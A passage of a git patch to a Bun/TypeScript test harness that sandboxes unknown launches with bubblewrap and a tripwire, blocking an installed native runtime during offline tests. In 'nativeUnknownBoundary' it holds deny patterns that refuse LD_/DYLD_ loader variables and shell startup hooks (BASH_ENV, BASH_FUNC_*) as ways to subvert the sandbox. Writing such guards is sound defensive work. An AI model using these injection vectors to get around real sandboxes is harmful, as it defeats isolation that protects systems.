Promise(resolve=>child.once("close",resolve));return {exit,out};}finally{plan.dispose();}} + try{ + const refused=await run(guard.nativeUnknownBoundary(["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"'],{env})); + if(refused.exit!==126)throw Error("FIRST_LAUNCH_MUST_HIT_TRIPWIRE"); + const independent=await run(guard.nativeUnknownBoundary(["/bin/sh","-c",'i=0; while [ "$i" -lt 2 ]; do i=$((i+1)); done; printf Ithaca'],{env})); + if(independent.exit!==0||independent.out!=="Ithaca")throw Error("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); + console.log("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); + }finally{fs.rmSync(root,{recursive:true,force:true});} + guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"THE_REFUSED_ATTEMPT_STILL_FAILS_ITS_TEST").not.toBe(0); + expect(err).toContain('"reason":"installed native runtime blocked by tripwire"'); + expect(out,"REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH").toContain("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); +}); + +for(const changed of [false,true])test(`nested manager exec chain ${changed?"unproven refuses":"masks the runtime before execution"}`,async()=>{ + const code=fixtureDiscovery+` + const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:alias}; + const inner=[Bun.which("bwrap"),"--unshare-user","--bind","/","/","--","/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; + const command=["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC+${JSON.stringify(changed?"\n# modified":"")},...inner]; + let plan; + try{ + plan=guard.nativeUnknownBoundary(command,{env}); + if(${changed})throw Error("UNPROVEN_SUPERVISOR_MUST_REFUSE_BEFORE_LAUNCH"); + const start=plan.argv.indexOf(command[0]);if(start<0||plan.argv[start+4]!==guard.NATIVE_FIXTURE_FORK_EXEC||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); + let out="",err="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err})); + }finally{plan?.dispose();fs.rmSync(root,{recursive:true,force:true});} + guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"NESTED_NATIVE_ATTEMPT_CANNOT_PASS").not.toBe(0); + expect(err,changed?"UNPROVEN_NESTED_CHAIN_REFUSES":"NESTED_RUNTIME_HITS_TRIPWIRE").toContain('"reason":"'+(changed?"restriction cannot be enforced":"installed native runtime blocked by tripwire")+'"'); + expect(out,"NESTED_RUNTIME_NEVER_EXECUTES").not.toContain("UNMASKED_PAYLOAD_RAN"); + if(!changed){expect(JSON.parse(out).exit,"SUPERVISOR_PARENT_EXIT_IS_UNCHANGED").toBe(0);expect(JSON.parse(out).err).toContain("Offline native runtime refused by tripwire");} +}); + +test("unknown launches retain exactly the host dev entries and device flags",async()=>{ + const code=`import {spawnSync} from "node:child_process";import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; + const root=mkdtempSync("/tmp/odysseus-tripwire-dev-"),probe=root+"/view.py"; + writeFileSync(probe,'import os,json,stat\\nrows=[]\\nfor name in sorted(os.listdir("/dev")):\\n s=os.lstat("/dev/"+name)\\n rows.append([name,s.st_mode,s.st_dev,s.st_ino,s.st_rdev])\\nv=os.statvfs("/dev")\\nprint(json.dumps({"entries":rows,"ro":bool(v.f_flag&os.ST_RDONLY),"nodev":bool(v.f_flag&os.ST_NODEV),"nosuid":bool(v.f_flag&os.ST_NOSUID)}))\\n'); + const expected=spawnSync("/usr/bin/python3",["-I","-S",probe],{encoding:"utf8"});if(expected.status)throw Error(expected.stderr); + try{const c=Bun.spawn(["/bin/sh","-c",'i=1; exec "$1" -I -S "$2"',"odysseus-dev","/usr/bin/python3",probe],{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([c.exited,new Response(c.stdout).text(),new Response(c.stderr).text()]);if(exit)throw Error(err);if(out!==expected.stdout)throw Error("UNKNOWN_DEV_VIEW_EQUALS_MAIN");console.log("UNKNOWN_DEV_VIEW_EQUALS_MAIN");}finally{rmSync(root,{recursive:true,force:true});}`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"UNKNOWN_DEV_VIEW_EQUALS_MAIN "+err).toBe(0);expect(out).toContain("UNKNOWN_DEV_VIEW_EQUALS_MAIN"); +}); + +test("fixture TMPDIR cleanup cannot revoke a completed launch's guard evidence",async()=>{ + const code=`import {installNetworkGuard} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))};import {mkdtempSync,rmSync} from "node:fs"; + const guard=installNetworkGuard(),root=mkdtempSync("/tmp/odysseus-tripwire-fixture-tmp-"),previous=process.env.TMPDIR;process.env.TMPDIR=root; + try{const child=Bun.spawn(["/bin/sh","-c",'i=1; printf Ithaca'],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,new Response(child.stdout).text()]);if(exit||out!=="Ithaca")throw Error("FIRST_HARMLESS_LAUNCH_REQUIRED");}finally{if(previous===undefined)delete process.env.TMPDIR;else process.env.TMPDIR=previous;rmSync(root,{recursive:true,force:true});} + await Bun.sleep(50);guard.assertNoEscapes();console.log("FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE");`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE "+err).toBe(0);expect(out).toContain("FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE"); +}); + +test("an incomplete cancelled exec audit does not refuse an unknown launch",async()=>{ + const code=fixtureDiscovery+` + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); + let out="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve)); + if(exit||out!=="Ithaca")throw Error("HARMLESS_LAUNCH_REQUIRED"); + const log=plan.argv[plan.argv.indexOf("-o")+1];fs.writeFileSync(log,'1 execve("/usr/bin/printf", \\n');plan.dispose();guard.assertNoNativeRefusals();fs.rmSync(root,{recursive:true,force:true});console.log("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY");`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY "+err).toBe(0);expect(out).toContain("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY"); + expect(err,"UNKNOWN_AUDIT_UNAVAILABLE_IS_RECORDED").toContain('"kind":"native-offline-unknown-exec-audit"');expect(err).not.toContain('"kind":"native-offline-boundary"'); +}); diff --git a/tests/native-worker-classification.test.ts b/tests/native-worker-classification.test.ts index 246eb00fe2..858b1081f0 100644 --- a/tests/native-worker-classification.test.ts +++ b/tests/native-worker-classification.test.ts @@ -1,6 +1,5 @@ -import {keylessWorkerCommand} from "../packages/ui-sdk/tests/helpers/keyless-worker-command"; import ts from "typescript"; -import {mkdtempSync,rmSync,readFileSync,writeFileSync} from "node:fs"; +import {mkdtempSync,rmSync,readFileSync,writeFileSync,mkdirSync,symlinkSync} from "node:fs"; import {expect,test} from "bun:test"; import {createRequire} from "node:module"; import {join} from "node:path"; @@ -13,7 +12,7 @@ test("positively non-native readiness stand-in preserves original worker metadat const boundary=nativeWorkerBoundary(env);expect(boundary.native,"NON_NATIVE_STANDIN_SKIPS_NATIVE_AGREEMENT").toBe(false);expect(boundary.env).toBe(env); expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c","exec sleep 30"])).toBe(false); }); -for(const mode of ["native-argv","native-command","shell-native","shell-missing","shell-dynamic","shell-nested","shell-sequence","shell-eval","supervisor-native"] as const)test(`native worker admission refuses ${mode} mismatch`,async()=>{ +for(const mode of ["native-argv","native-command","shell-native","shell-nested","shell-sequence","supervisor-native"] as const)test(`native worker admission refuses ${mode} mismatch`,async()=>{ const code=`import {nativeWorkerBoundary} from ${JSON.stringify(guard)}; import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-identity-program.ts"))}; const runtime=${JSON.stringify(runtime)},mode=${JSON.stringify(mode)}; @@ -63,37 +62,56 @@ test("recognized product shell table discovers all positional product wrappers", expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",nativeProductShellWrappers.find(row=>row.name==="host-probe")!.script+" ",process.execPath,"fixture"]),"MODIFIED_HOST_PROBE_STAYS_UNKNOWN").toBe(true); }); -test("keyless protocol peers declare owned executables without a dynamic shell launch",()=>{ - const root=mkdtempSync("/tmp/odysseus-keyless-classification-"); - try{ - const command=keylessWorkerCommand(root,'IFS= read -r init; printf "%s" "$init"'); - expect(nativeWorkerArgvNeedsIsolation(command),"KEYLESS_PEER_EXECUTABLE_IS_POSITIVELY_NON_NATIVE").toBe(false); - const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv:command,env:{}})}; - expect(nativeWorkerBoundary(env).env,"KEYLESS_PEER_PLAN_REMAINS_PRODUCT_PLAN").toBe(env); - }finally{rmSync(root,{recursive:true,force:true});} -}); - - -test("private-index fixture declaration preserves its ready gate and CLI arguments",async()=>{ +test("tripwire preserves the original private-index ready gate and CLI arguments",async()=>{ const file="packages/ui-server/tests/private-index.test.ts",source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); let body:string|undefined; const visit=(node:ts.Node):void=>{ - if(ts.isCallExpression(node)&&node.expression.getText(source)==="keylessWorkerCommand"){ - const script=node.arguments[1]; - if(script&&ts.isTemplateExpression(script)){ + if(ts.isArrayLiteralExpression(node)){ + const script=node.elements[2]; + if(script&&ts.isTemplateExpression(script)&&script.head.text.includes("ready")){ expect(script.templateSpans.map(span=>span.expression.getText(source)),"PRIVATE_INDEX_SENTINEL_IS_THE_ONLY_SUBSTITUTION").toEqual(["SENTINEL"]); body=script.head.text+script.templateSpans.map(span=>"Zakynthosmarker"+span.literal.text).join(""); } }ts.forEachChild(node,visit); - };visit(source);expect(body,"PRIVATE_INDEX_DECLARES_ITS_EXACT_EXECUTABLE").toBeDefined(); + };visit(source);expect(body,"PRIVATE_INDEX_RETAINS_ORIGINAL_INLINE_SHELL").toBeDefined(); const root=mkdtempSync("/tmp/odysseus-private-index-command-"); try{ const payload=join(root,"argv.py");writeFileSync(payload,"import sys,json;print(json.dumps(sys.argv[1:]))\n"); - const command=keylessWorkerCommand(root,body!,["/usr/bin/python3",payload]); - expect(nativeWorkerArgvNeedsIsolation(command),"PRIVATE_INDEX_PEER_IS_POSITIVELY_NON_NATIVE").toBe(false); + const command=["/bin/sh","-c",body!,"sh","/usr/bin/python3",payload]; const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"}),reader=child.stdout.getReader(); const ready=await reader.read();expect(new TextDecoder().decode(ready.value),"PRIVATE_INDEX_READY_GATE_UNCHANGED").toBe("ready\n"); child.stdin.write("go\n");child.stdin.end();let output="";for(;;){const part=await reader.read();if(part.done)break;output+=new TextDecoder().decode(part.value);}reader.releaseLock(); const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,err).toBe(0);expect(JSON.parse(output),"PRIVATE_INDEX_CLI_ARGUMENTS_UNCHANGED").toEqual(["search","Zakynthosmarker","--json","--limit","50"]); }finally{rmSync(root,{recursive:true,force:true});} }); + + +test("tripwire preserves the original private-index live cache shell",async()=>{ + const file="packages/ui-server/tests/private-index.test.ts",source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); + let script:string|undefined,declared=false; + function visit(node:ts.Node):void { + if(ts.isVariableDeclaration(node)&&node.name.getText(source)==="CACHE_SHELL"&&node.initializer&&ts.isTemplateExpression(node.initializer)){ + const body=node.initializer; + expect(body.templateSpans.map(span=>span.expression.getText(source)),"CACHE_PROBE_ONLY_SUBSTITUTES_ITS_SENTINEL").toEqual(["SENTINEL"]); + script=body.head.text+body.templateSpans.map(span=>"Zakynthosmarker"+span.literal.text).join(""); + } + if(ts.isCallExpression(node)&&node.expression.getText(source)==="launchAgentWorker"){ + const options=node.arguments[0];if(options&&ts.isObjectLiteralExpression(options))for(const property of options.properties){ + if(ts.isPropertyAssignment(property)&&property.name.getText(source)==="command"&&property.initializer.getText(source).includes("CACHE_SHELL")) + declared=property.initializer.getText(source)==='["/bin/sh", "-c", CACHE_SHELL]'; + } + } + ts.forEachChild(node,visit); + }visit(source); + expect(declared,"LIVE_CACHE_PROBE_RETAINS_ITS_ORIGINAL_INLINE_SHELL").toBe(true); + expect(script,"LIVE_CACHE_PROBE_USES_REAL_SCRIPT_BYTES").toBeDefined(); + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script!]),"INLINE_CACHE_PROBE_IS_UNCLASSIFIABLE").toBe(true); + const root=mkdtempSync("/tmp/odysseus-cache-classification-"); + try{ + mkdirSync(join(root,".brain-cache"));for(const name of [".context-cache.jsonl",".asset-cache.jsonl"])symlinkSync("/dev/null",join(root,name)); + const command=["/bin/sh","-c",script!]; + const child=Bun.spawn(command,{cwd:root,env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,err).toBe(0);expect(out,"CACHE_PROBE_OUTPUT_UNCHANGED").toBe(".context-cache.jsonl=masked\n0\n.asset-cache.jsonl=masked\n0\ndir=0\n"); + }finally{rmSync(root,{recursive:true,force:true});} +}); From 55bd2bfe70c964fa83206adcce62dedee47e92fb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 06:33:54 +0000 Subject: [PATCH 095/187] fix(test): preserve unknown launch views and status descriptors --- scripts/test-native-guard.ts | 66 ++++++++++++++++++++----- tests/native-app-authority.test.ts | 31 ++++++++++++ tests/native-guard-regressions.test.ts | 4 +- tests/native-private-index-role.test.ts | 4 +- tests/native-tripwire.test.ts | 63 ++++++++++++++++++++--- 5 files changed, 144 insertions(+), 24 deletions(-) create mode 100644 tests/native-app-authority.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 83b844a393..1edd413160 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -670,6 +670,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const env = options.env ?? process.env; const route = scriptedRoute.getStore(); if (!route) refuse("scripted service authority was not registered"); + try{route.revalidate?.();}catch{refuse("native fixture authority is no longer live");} const versionOnly = args.at(-1) === "--version"; const versionHome = versionOnly ? mkdtempSync(join(tmpdir(), "odysseus-native-version-")) : undefined; const cwd = versionHome ?? realpathSync(options.cwd ?? process.cwd()); @@ -700,7 +701,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...nativeFixtureFileMounts(bridge.directory), ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; - const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); + const beforeLaunch = () => {try{route.revalidate?.();}catch{refuse("native fixture authority is no longer live");}assertNativeMountSockets(mounts, route.origin);}; beforeLaunch(); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; const childEnv: Record = { ...nativeProductEnvironment(env), HOME: home, @@ -767,12 +768,20 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } +const fixtureAppAuthorities=new WeakMap(); /** App fixtures own their boot probe authority; it never substitutes a real provider. */ export function nativeFixtureAppAuthority(roots:readonly string[]):()=>void { - const prior=scriptedRoute.getStore(); + let prior=scriptedRoute.getStore(); + // An await can retain a closed app's ALS context after its cleanup returned. + // Independent apps inherit the explicit enclosing fixture, never each other. + while(prior&&fixtureAppAuthorities.has(prior))prior=fixtureAppAuthorities.get(prior)!.previous; + scriptedRoute.enterWith(prior); const server=prior?undefined:Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); const leave=nativeScriptedService(prior?.origin??server!.url.origin,{fixtureRoots:[...new Set([...(prior?.fixtureRoots??[]),...roots])],fixtureCredentials:Object.fromEntries(prior?.fixtureCredentials??[]),turnProxy:prior?.turnProxy}); - return ()=>{leave();server?.stop(true);}; + const registered=scriptedRoute.getStore()!,lifetime={previous:prior,active:true}; + const authority=Object.freeze({...registered,revalidate(){prior?.revalidate?.();if(!lifetime.active)throw Error("native fixture app authority unavailable");}}); + fixtureAppAuthorities.set(authority,lifetime);scriptedRoute.enterWith(authority); + return ()=>{if(!lifetime.active)return;lifetime.active=false;if(scriptedRoute.getStore()===authority){scriptedRoute.enterWith(registered);leave();}server?.stop(true);}; } interface NativePrivateIndexRole {root:string;brain:string;scope:ScriptedAuthority;dev:bigint;ino:bigint;active:boolean} @@ -783,6 +792,7 @@ export function nativeFixturePrivateIndex(root:string,brain:string,required=true // Non-native policy fixtures have no scripted authority to register against. // Observing their allocator must not manufacture one. if(!scope&&!required)return ()=>{}; + scope?.revalidate?.(); const info=lstatSync(root,{bigint:true}); if(!scope||!scope.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||realpathSync(root)!==root||resolve(root)!==root||dirname(root)!==realpathSync(tmpdir())||!/^brain-private-index-[A-Za-z0-9]+$/.test(basename(root))||!info.isDirectory()||info.uid!==BigInt(nativeKernelIdentity().uid))throw Error("private index fixture declaration unavailable"); const role:NativePrivateIndexRole={root,brain,scope,dev:info.dev,ino:info.ino,active:true};nativePrivateIndexes.add(role); @@ -952,7 +962,7 @@ function admittedRelay(argv: string[], socket: string): { origin: string; path: function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = [],role?:"product-checkpoint"|"product-keeper"|"product-scratch"): Record { const fixture=fixtureRoots.find(root=>within(root,resolve(input))); - const privateIndex=dirname(resolve(input))===realpathSync(tmpdir())&&/^brain-private-index-[A-Za-z0-9]+$/.test(basename(input))&&basename(destination)===".brain-index"; + const privateIndex=/^brain-private-index-[A-Za-z0-9]+$/.test(basename(input))&&basename(destination)===".brain-index"; const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); const workspaceTarget=within(ROOT,resolve(destination)); @@ -1582,7 +1592,12 @@ function unknownBwrapPosition(command:readonly string[],bwrap:string,context:Spa // The status script never reads $0. Its fixture marker is data, while the // byte-exact product script, own FIFO descriptors and actual bwrap are proof. const status=nativeProductShellWrappers.find(row=>row.kind==="status")!; - if(start===0&&same(command[0],"/bin/sh")&&command[1]==="-c"&&command[2]===status.script&&command.slice(4,6).length===2&&command.slice(4,6).every(path=>{try{return new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}})&&same(command[6],bwrap))return 6; + const ownFifo=(path:string|undefined)=>{try{return !!path&&new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}}; + if(start===0&&same(command[0],"/bin/sh")&&command[1]==="-c"){ + if(command[2]===status.script&&command.slice(4,6).length===2&&command.slice(4,6).every(ownFifo)&&same(command[6],bwrap))return 6; + // The status-only fixture opens one owned FIFO, then execs the exact argv. + if(command[2]==='exec 3>"$1"; shift; exec "$@"'&&ownFifo(command[4])&&same(command[5],bwrap))return 5; + } // A concrete sandbox behind an unproven exec prefix cannot be moved ahead // of the tripwire. In particular, never put masks after arbitrary shell code. if(command.some(value=>same(value,bwrap)))refuse("restriction cannot be enforced"); @@ -1594,7 +1609,7 @@ function unknownBwrapPayload(command:readonly string[],at:number):number { const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); let i=at+1; for(;i=command.length)refuse("restriction cannot be enforced");i+=1+count; } @@ -1603,6 +1618,9 @@ function unknownBwrapPayload(command:readonly string[],at:number):number { const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; /** Unknown code receives neither native receipt descriptors nor provider authority. */ export function nativeUnknownBoundary(command:readonly string[],options:SpawnContext={},workerUid?:number) { + // The loader runs before bwrap can install any bind. Preserve the payload's + // environment, but refuse a bootstrap whose loader could replace our tools. + if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:LD_|DYLD_)/.test(key)))refuse("restriction cannot be enforced"); const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),stub=join(directory,"tripwire"),event=join(directory,"event"),log=join(directory,"exec.log"); writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); let complete=false,failed=false,auditUnavailable=false,timer:ReturnType|undefined; @@ -1615,21 +1633,41 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon if(cc.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(cc.stderr))); chmodSync(stub,0o555); const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap"),strace=metadataWhich("strace"); - if(!bwrap||!strace||!masks.length)refuse("restriction cannot be enforced"); + if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)))refuse("restriction cannot be enforced"); - const mounts=["--ro-bind",directory,directory,"--bind",event,event,"--bind",log,log,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; + const mounts=["--ro-bind",directory,directory,"--bind",event,event,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; const probe=metadataSpawnSync([bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); - const tracePrefix=[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]; - let argv=[...command];const at=unknownBwrapPosition(argv,bwrap,options); + const tracePrefix=strace?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]:[]; + let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options); if(at>=0){ - const separator=unknownBwrapPayload(argv,at);if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); + // The proven status prefix executes before masking. Shell startup hooks or + // imported functions would invalidate that exact-code proof. + if(argv.slice(0,at).some(value=>{try{return resolveExecutable(value,options)===realpathSync("/bin/sh");}catch{return false;}})&&Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:BASH_ENV|ENV|SHELLOPTS|BASHOPTS|BASH_FUNC_.*)$/.test(key)))refuse("restriction cannot be enforced"); + const separator=unknownBwrapPayload(argv,at);if(argv[separator]!=="--")argv.splice(separator,0,"--");if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); const originalRemounts=deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); argv.splice(end,0,...mounts,"--cap-drop","ALL",...originalRemounts); // Keep diagnostic tooling outside the product view. A private /tmp may // hide a locally installed tracer, while the actual payload still sees masks. argv=[...tracePrefix,...argv]; - }else argv=[...tracePrefix,bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--",...argv]; + }else { + // Move only a literal status-FIFO open before the user namespace. No fixture + // script runs until after mounting, and no /proc path is reopened within it. + const source=argv[4],prefix='exec 3>"$1"; '; + let fifo:import("node:fs").Stats|undefined; + if(argv[0]&&resolveExecutable(argv[0],options)===realpathSync("/bin/sh")&&argv[1]==="-c"&&argv[2]?.startsWith(prefix)){ + try{ + if(!source||!new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(source))throw Error("unowned FIFO"); + fifo=statSync(source); + if(!fifo.isFIFO()||fifo.uid!==nativeKernelIdentity().uid||fifo.nlink!==0||!/^.*\/brain-worker-status-[^/]+\/status \(deleted\)$/.test(readlinkSync(source)))throw Error("unowned FIFO"); + if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:BASH_ENV|ENV|SHELLOPTS|BASHOPTS|BASH_FUNC_.*)$/.test(key)))throw Error("shell startup"); + }catch{refuse("restriction cannot be enforced");} + statusIdentity={source:source!,dev:fifo!.dev,ino:fifo!.ino}; + argv[2]=argv[2]!.slice(prefix.length); + } + argv=[...tracePrefix,bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--",...argv]; + if(fifo)argv=["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"',"brain-test-status-carrier",source!,...argv]; + } const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; const inspect=(final=false)=>{ let integrityStage:"stub-identity"|"tripwire-record"="stub-identity"; @@ -1637,6 +1675,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const now=lstatSync(stub,{bigint:true});if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||now.mtimeNs!==stamp.mtimeNs)throw Object.assign(Error("tripwire changed"),{code:"IDENTITY_CHANGED"}); integrityStage="tripwire-record";const text=readFileSync(event,"utf8");if(text){if(!text.split("\n").filter(Boolean).every(line=>line===TRIPWIRE_RECORD.trim()))throw Object.assign(Error("tripwire record changed"),{code:"INVALID_RECORD"});report("installed native runtime blocked by tripwire");} }catch(error){report("restriction cannot be enforced",integrityStage,(error as NodeJS.ErrnoException).code);return;} + if(!strace){diagnosticUnavailable();return;} // Unknown-launch exec observation is diagnostic-only. A cancelled exec // can leave a split syscall unfinished; it cannot undo the installed mask. try{ @@ -1650,13 +1689,14 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon if(final&&(evidence.counters.splitIncomplete||evidence.counters.splitAmbiguous))diagnosticUnavailable(); }catch{diagnosticUnavailable();} }; + if(!strace)diagnosticUnavailable(); timer=setInterval(()=>inspect(),20);timer.unref(); // A daemonized tracer preserves the original parent exit and detached-child // lifetime. Keep observing until this owner exits, even after the launch leader. process.once("exit",()=>{inspect(true);cleanup();}); const encoded=JSON.stringify(argv); const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;inspect(true);}}; + const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;inspect(true);}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/native-app-authority.test.ts b/tests/native-app-authority.test.ts new file mode 100644 index 0000000000..6cac8ade11 --- /dev/null +++ b/tests/native-app-authority.test.ts @@ -0,0 +1,31 @@ +/** Real loopback fixture authority, no native executable is launched. */ +import {expect,test,spyOn} from "bun:test"; +import {mkdirSync,mkdtempSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {nativeFixtureAppAuthority,nativeFixturePrivateIndex} from "../scripts/test-native-guard"; +import {createPrivateIndexDirectory,removePrivateIndexDirectory} from "../packages/ui-server/src/brain/private-index"; + +test("a new app fixture does not inherit a closed app root through an awaited context",async()=>{ + const root=mkdtempSync("/tmp/odysseus-app-authority-"),first=join(root,"first"),second=join(root,"second");mkdirSync(first);mkdirSync(second); + const releaseFirst=nativeFixtureAppAuthority([first]),index=createPrivateIndexDirectory();let 